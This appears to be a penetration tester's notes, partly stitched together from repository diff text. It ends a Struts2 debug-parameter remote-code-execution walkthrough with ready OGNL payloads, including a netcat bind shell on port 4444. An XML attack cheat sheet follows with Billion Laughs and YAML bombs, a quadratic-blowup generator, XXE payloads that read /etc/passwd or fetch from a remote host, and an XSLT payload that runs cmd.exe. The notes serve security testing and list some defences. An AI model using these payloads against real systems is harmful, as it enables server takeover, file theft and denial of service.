Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
There are those two most important parameters:
- `debug=command`
- `expression=<java_code>`
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
### Utilizing RCE
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
```
Where we have invocation of **uname -a** command within linux boxes.
In order to drop a bind shell on the server, the following method could be leveraged:
1. Pass the command as a String array:
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
```
After that, the *bash* shell will bind to the 4444 port.

221
web/xml-attacks.md Normal file
View File

@ -0,0 +1,221 @@
## XML Vulnerabilities
XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
---
### How to avoid XML vulnerabilities
Best practices
- Don't allow DTDs
- Don't expand entities
- Don't resolve externals
- Limit parse depth
- Limit total input size
- Limit parse time
- Favor a SAX or iterparse-like parser for potential large data
- Validate and properly quote arguments to XSL transformations and XPath queries
- Don't use XPath expression from untrusted sources
- Don't apply XSL transformations that come untrusted sources
(based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))
---
### Billion Laughs
The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack also known as exponential entity expansion uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
**YAML bomb**:
```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
---
### Quadratic Blowup
A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isnt as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.
If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed.
**genQuadraticBlowup.py**
```
#!/usr/bin/python3
NUM = 55000
def main():
entity = 'A' * NUM
refs = '&x;' * NUM
templ = '''<?xml version="1.0"?>
<!DOCTYPE DoS [
<!ENTITY x "{entity}">
]>
<DoS>{entityReferences}</DoS>
'''.format(entity=entity, entityReferences=refs)
print(templ)
if __name__ == '__main__':
main()
```
---
### XML External Entities expansion / XXE
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```
```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
```
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```
Other XXE payloads worth testing:
- [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
- [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)
---
### DTD Retrieval
This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head/>
<body>text</body>
</html>
```
---
### Decompression Bomb
Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.
```
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
```
---
### XPath Injection
XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections.
---
### XInclude
XML Inclusion is another way to load and include external files:
```
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="filename.txt" parse="text" />
</root>
```
This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.
---
### XSL Transformation
You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.
Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J:
```
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
exclude-result-prefixes= "rt ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
<xsl:variable name="command"
select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
<xsl:variable name="commandAsString" select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
```
---
### SOURCES
- https://github.com/tiran/defusedxml
- https://docs.python.org/3/library/xml.html#xml-vulnerabilities
- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
- https://en.wikipedia.org/wiki/Billion_laughs_attack